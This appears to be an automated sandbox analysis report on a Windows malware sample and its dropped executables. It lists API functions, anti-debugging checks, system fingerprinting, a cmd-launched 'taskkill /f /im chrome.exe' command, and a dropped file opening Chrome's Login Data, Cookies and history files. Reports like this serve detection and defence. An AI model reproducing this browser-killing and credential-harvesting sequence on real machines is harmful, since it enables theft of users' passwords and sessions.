Code function: 0_2_00419AD9 GetFileSize,GetProcessHeap,HeapAlloc,ReadFile,_strlen,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,ReadFile,GetProcessHeap,HeapFree,

0_2_00419AD9

Enables debug privileges

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Jump to behavior

Contains functionality to register its own exception handler

Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_0044A9CB SetUnhandledExceptionFilter,		0_2_0044A9CB
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_0044A9EE SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0044A9EE
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10015354 SetUnhandledExceptionFilter,__encode_pointer,		0_2_10015354
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10015376 __decode_pointer,SetUnhandledExceptionFilter,		0_2_10015376
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10018413 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,		0_2_10018413
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_1000E44D _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_1000E44D
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_1000EFFC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_1000EFFC
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_10015354 SetUnhandledExceptionFilter,__encode_pointer,		3_2_10015354
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_10015376 __decode_pointer,SetUnhandledExceptionFilter,		3_2_10015376
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_10018413 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,		3_2_10018413
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_1000E44D _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		3_2_1000E44D
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_1000EFFC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		3_2_1000EFFC
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 30_2_002B461F SetUnhandledExceptionFilter,		30_2_002B461F
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 30_2_002B1C57 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		30_2_002B1C57
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 30_2_002B373A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		30_2_002B373A
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 30_2_002B631F __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		30_2_002B631F

HIPS / PFW / Operating System Protection Evasion:

Creates a process in suspended mode (likely to inject code)

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im chrome.exe			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Uses taskkill to terminate processes

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im chrome.exe

Jump to behavior

Contains functionality to add an ACL to a security descriptor

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_0043997A __EH_prolog3_GS,_memset,_memset,_memset,_memset,_memset,_memset,InitializeSecurityDescriptor,CreateWellKnownSid,CreateWellKnownSid,CreateWellKnownSid,CreateWellKnownSid,CreateWellKnownSid,CreateWellKnownSid,SetEntriesInAclW,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,SetSecurityDescriptorDacl,CoInitializeSecurity,

0_2_0043997A

Contains functionality to create a new security descriptor

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_004403BB __EH_prolog3_GS,GetCurrentThread,OpenThreadToken,GetLastError,GetLastError,GetCurrentProcess,OpenProcessToken,GetLastError,GetTokenInformation,GetTokenInformation,GetLastError,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,

0_2_004403BB

May try to detect the Windows Explorer process (often used for injection)

Source: fnhcdXEfus.exe	Binary or memory string: Shell_TrayWnd
Source: fnhcdXEfus.exe	Binary or memory string: AShell_TrayWnd0x0409

Language, Device and Operating System Detection:

Contains functionality to query CPU information (cpuid)

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_1001779F cpuid

0_2_1001779F

Contains functionality to query locales information (e.g. system language)

Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: GetLocaleInfoW,TranslateCharsetInfo,IsValidLocale,		0_2_0043FC89
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: GetLocaleInfoW,		0_2_0043FD0E
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: GetLocaleInfoA,		0_2_10017CF0
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: GetLocaleInfoA,		3_2_10017CF0
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: GetLocaleInfoA,		30_2_002B7189

Queries device information via Setup API

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_10019780 SetupDiGetDeviceRegistryPropertyA,GetLastError,_memset,SetupDiGetDeviceRegistryPropertyA,

0_2_10019780

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Contains functionality to query local / system time

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_00438713 __EH_prolog3_GS,GetSystemTimeAsFileTime,

0_2_00438713

Contains functionality to query windows version

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_00458F45 GetVersionExW,

0_2_00458F45

Queries the cryptographic machine GUID

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\hihistory			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior